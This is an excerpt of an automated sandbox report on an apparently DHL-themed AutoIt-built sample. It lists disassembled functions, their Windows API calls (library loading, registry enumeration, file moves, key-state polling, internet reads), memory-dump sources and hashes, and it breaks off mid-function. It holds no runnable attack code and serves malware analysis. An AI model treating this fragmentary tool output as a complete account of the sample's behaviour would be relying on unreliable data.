Opcode Fuzzy Hash: 48e9fea7b742ae312d574a51bfd40597f8a913238f0e2b5f13b0665768684db2
Instruction Fuzzy Hash: 4CE08C36A026226BD2225B65AC18A6BA668AFC2F72B150215FC01F2200DBA4CD0392E0

Function 009A4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,009E3CDE,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009A4E74
FreeLibrary.KERNEL32(00000000,?,?,009E3CDE,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 009A4E6E
kernel32.dll, xrefs: 009A4E5B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 1c50385186adc417c2bc6f2d12c1544f94e88f34ef5d2ee41bdb92dc56ca5a01
Instruction ID: 1963d28ca273e932ac31dd3a03d448bb38a3fcd2e9ce928437f1aa0bc6c8412c
Opcode Fuzzy Hash: 1c50385186adc417c2bc6f2d12c1544f94e88f34ef5d2ee41bdb92dc56ca5a01
Instruction Fuzzy Hash: E1D0123650262167DA225B657C18D8B6A5CBFC6F713150615B905F2154CFA4CD0296D1

Function 00A2A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00A2A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00A2A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00A2A468
CloseHandle.KERNEL32(?), ref: 00A2A63D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: bedb2f30341c9aac9fdefc639a5a3c5937c47d01abe931a9f59f5512cf11cda7
Instruction ID: 3227827e869522a33671c0a819c478d4bae2e289a8fe3be9727b78a33e9c2c31
Opcode Fuzzy Hash: bedb2f30341c9aac9fdefc639a5a3c5937c47d01abe931a9f59f5512cf11cda7
Instruction Fuzzy Hash: 25A181716043019FD720DF28D886F2AB7E5AF94714F14886DF99A9B2D2D770EC41CB92

Function 009DBB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00A43700), ref: 009DBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00A7121C,000000FF,00000000,0000003F,00000000,?,?), ref: 009DBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00A71270,000000FF,?,0000003F,00000000,?), ref: 009DBC36
_free.LIBCMT ref: 009DBB7F

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009DBD4B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 17d5a8af1fe2e0b9629b40a902907044b6934826e2ff51db93b7d84bf346742b
Instruction ID: 66a6be7328cd054c78c3a6b72c6886fb1eab536f009c4667ee3f0498274973e0
Opcode Fuzzy Hash: 17d5a8af1fe2e0b9629b40a902907044b6934826e2ff51db93b7d84bf346742b
Instruction Fuzzy Hash: 4351A671940209EBCB10DFB99C81AAEB7FCFB84360B11C66BE554D7391EB709D419B90

Function 00A0E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A0CF22,?), ref: 00A0DDFD

Part of subcall function 00A0DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A0CF22,?), ref: 00A0DE16

Part of subcall function 00A0E199: GetFileAttributesW.KERNEL32(?,00A0CF95), ref: 00A0E19A

lstrcmpiW.KERNEL32(?,?), ref: 00A0E473
MoveFileW.KERNEL32(?,?), ref: 00A0E4AC
_wcslen.LIBCMT ref: 00A0E5EB
_wcslen.LIBCMT ref: 00A0E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00A0E650

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: b15a8cfeb136077e4154b12581aba1639818b70eabb27285323dd69f99e1fd62
Instruction ID: c1f37bff9647a7e34c22825b0301e260a6c61130a522f3129ebe2238d3832cbd
Opcode Fuzzy Hash: b15a8cfeb136077e4154b12581aba1639818b70eabb27285323dd69f99e1fd62
Instruction Fuzzy Hash: BF5150B24083495BC724EB94EC91ADBB3ECAF85350F004D1EF589D3191EF75A6888766

Function 00A2B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A2C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A2B6AE,?,?), ref: 00A2C9B5
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2C9F1
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA68
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A2BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A2BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00A2BB63
RegCloseKey.ADVAPI32(?,?), ref: 00A2BBA6
RegCloseKey.ADVAPI32(00000000), ref: 00A2BBB3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 477961d300ebf94671f54e48a677d2a8253489f71a4f2db07ec9f79447ef73a8
Instruction ID: 02468d23e0631e4ad80399b62ea10993c6ef03e167bae3f5d4fb519867d20b2d
Opcode Fuzzy Hash: 477961d300ebf94671f54e48a677d2a8253489f71a4f2db07ec9f79447ef73a8
Instruction Fuzzy Hash: C661B031218241AFC314DF18D890F2ABBE5FF85358F14856CF4998B2A2DB31ED45CBA2

Function 00A08BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A08BCD
VariantClear.OLEAUT32 ref: 00A08C3E
VariantClear.OLEAUT32 ref: 00A08C9D
VariantClear.OLEAUT32(?), ref: 00A08D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00A08D3B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 3d99dca6cb536c1d2559a1f7318ccb2e6cbf16a488f8d29105093d6de69d25c9
Instruction ID: bc8b8b1ee6dc0a81d935bb5af1dea377d8cbc8c2825695122068d89d4cc89a5e
Opcode Fuzzy Hash: 3d99dca6cb536c1d2559a1f7318ccb2e6cbf16a488f8d29105093d6de69d25c9
Instruction Fuzzy Hash: B9517AB5A00219EFCB10CF68D884AAAB7F8FF89310B158559F949EB350E734E911CF94

Function 00A18AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00A18BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00A18BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00A18C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00A18C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00A18C5F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: a6807542a46bfa8f4dcb8be73aeed21c5347ca886770df8be29140aaeb8f81e0
Instruction ID: 3716bd07ce94a92caf4c1e900b82ab7205d093eaf838dc2ec0c1ff74e3a6b746
Opcode Fuzzy Hash: a6807542a46bfa8f4dcb8be73aeed21c5347ca886770df8be29140aaeb8f81e0
Instruction Fuzzy Hash: BE511C35A002159FCB15DFA4C881AAEBBF5FF89314F088458F849AB362DB35ED51CB90

Function 00A28EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00A28F40
GetProcAddress.KERNEL32(00000000,?), ref: 00A28FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00A28FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00A29032
FreeLibrary.KERNEL32(00000000), ref: 00A29052

Part of subcall function 009BF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00A11043,?,7735E610), ref: 009BF6E6
Part of subcall function 009BF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,009FFA64,00000000,00000000,?,?,00A11043,?,7735E610,?,009FFA64), ref: 009BF70D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f9d2d25ac51191fa5ca8e617cb6cfb031f4e72d99ada6b54d643fef9837802ae
Instruction ID: 296018dbac08f9adf5fb89feba92804ab4c72a35f5f72bdaeb513f9c58bdc96c
Opcode Fuzzy Hash: f9d2d25ac51191fa5ca8e617cb6cfb031f4e72d99ada6b54d643fef9837802ae
Instruction Fuzzy Hash: BA512935605215DFC711DF58C4949ADBBB1FF49324F0880A9F806AB362DB31ED86CB90

Function 00A36B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00A36C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00A36C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00A36C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00A1AB79,00000000,00000000), ref: 00A36C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00A36CC7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: cb0fd8745fcad937b6cb978ee8d037c3079150adabfa82e39c1454fcb0d51972
Instruction ID: 1cf72fbf99acde49828efaaf6fff75e50d613d09de3407980a2d2e9b99d539bc
Opcode Fuzzy Hash: cb0fd8745fcad937b6cb978ee8d037c3079150adabfa82e39c1454fcb0d51972
Instruction Fuzzy Hash: 0541E435A04104BFDB24CF68CC59FA9BBB5EB09360F149228F999E72E0C371ED42CA50

Function 009D2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009D20C3
_free.LIBCMT ref: 009D20E3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9d6feb60c1d9681bf2e820a99847a5344687fa928655ffaa27029c208e194bcd
Instruction ID: e27ab9f3e76eb37eb323022ee6e2fbcfc3a3e3ec678da819557e83f808b5f12c
Opcode Fuzzy Hash: 9d6feb60c1d9681bf2e820a99847a5344687fa928655ffaa27029c208e194bcd
Instruction Fuzzy Hash: 9541C432A40200AFCB24DFB8C981A6DB7F5EF99324F1585AAE515EB351D731ED01DB80

Function 009B912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 009B9141
ScreenToClient.USER32(00000000,?), ref: 009B915E
GetAsyncKeyState.USER32(00000001), ref: 009B9183
GetAsyncKeyState.USER32(00000002), ref: 009B919D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 20b0b3287ad0f7d62fa63d9a54eb225f64e77cff0e35f780b9d0b226472ce5c6
Instruction ID: d90b7244e311dda204e56af0c3323875b425efdbce23e8bc33dcedba1e8fe216
Opcode Fuzzy Hash: 20b0b3287ad0f7d62fa63d9a54eb225f64e77cff0e35f780b9d0b226472ce5c6
Instruction Fuzzy Hash: D3416C31A0C60ABBDF059FA8C948BFEB774FF05330F208219E529A6290C7346954DB91

Function 00A13874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00A138CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00A13922
TranslateMessage.USER32(?), ref: 00A1394B
DispatchMessageW.USER32(?), ref: 00A13955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A13966

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: f36c166bc1f69505e5c5bfc333808c4405b4738e279413bca5731b4435357461
Instruction ID: 322ae33e50c485b5a5b62fa6e72b60abaa7e2edf3384dfd3214e44a7a0e73c14
Opcode Fuzzy Hash: f36c166bc1f69505e5c5bfc333808c4405b4738e279413bca5731b4435357461
Instruction Fuzzy Hash: E531D5729043419EEF35CFB49C69FF63BE8EB05310F044569E466961A0E3F4AAC6CB11

Function 00A1CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00A1C21E,00000000), ref: 00A1CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00A1CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00A1C21E,00000000), ref: 00A1CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00A1C21E,00000000), ref: 00A1CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00A1C21E,00000000), ref: 00A1CFF2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 58b90c5182753062268fc85a4240749dfc0e91093a64cf09e4f4e051d0be4037
Instruction ID: c3091c1dc57530dc94189c5b017145238d962f2b12dc410a388d90bd0e71a171
Opcode Fuzzy Hash: 58b90c5182753062268fc85a4240749dfc0e91093a64cf09e4f4e051d0be4037
Instruction Fuzzy Hash: 8F314A71640305AFDB20DFA5CD84AEBBBF9EB54360B10442EF516E2141DB30EE82DB60

Function 00A01901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00A01915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00A019C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00A019C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00A019DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00A019E2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 9adc3cdecb667110ccbbed4cf13d7e3ca83ee30d673534fdbed66cebc23751b2
Instruction ID: e345f76f5983be0db274accb2f7f02bca050e48e9df500120650985f959a7c51
Opcode Fuzzy Hash: 9adc3cdecb667110ccbbed4cf13d7e3ca83ee30d673534fdbed66cebc23751b2
Instruction Fuzzy Hash: CE31DF72A0021DEFCB00CFA8DD99AEE3BB5EB05325F104229F921AB2D1C7709D54DB90

Function 00A35706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00A35745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00A3579D
_wcslen.LIBCMT ref: 00A357AF
_wcslen.LIBCMT ref: 00A357BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A35816

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 2b0c32dedf011ac362da1a07c29018bca2e5b0c3569222a8002203b4ebd4c846
Instruction ID: c4c2c6c397a91e85f96f1225ac06d33d51ae67bae0d1b0c6dc1b186545bc2da7
Opcode Fuzzy Hash: 2b0c32dedf011ac362da1a07c29018bca2e5b0c3569222a8002203b4ebd4c846
Instruction Fuzzy Hash: 4F21A071D04618AADB20CFB8CC85AEE7BB9FF44720F108616F929EA180D7748A85CF50

Function 009B990E Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009B98CC
SetTextColor.GDI32(?,?), ref: 009B98D6
SetBkMode.GDI32(?,00000001), ref: 009B98E9
GetStockObject.GDI32(00000005), ref: 009B98F1
GetWindowLongW.USER32(?,000000EB), ref: 009B9952

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 3eabbd3cffaa3a4d8679f92e4ccaad1477cc164bee57d8a6e187fc824e45efd6
Instruction ID: c3748fc27e86d8136dac832ecf76b7297735deb3c30fbee0a31034c6e0177c91
Opcode Fuzzy Hash: 3eabbd3cffaa3a4d8679f92e4ccaad1477cc164bee57d8a6e187fc824e45efd6
Instruction Fuzzy Hash: F121F6321592509FCB228F75ED65AE63F64EF13330B08425DF6929B1A2C72A4982CB51

Function 00A20930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00A20951
GetForegroundWindow.USER32 ref: 00A20968
GetDC.USER32(00000000), ref: 00A209A4
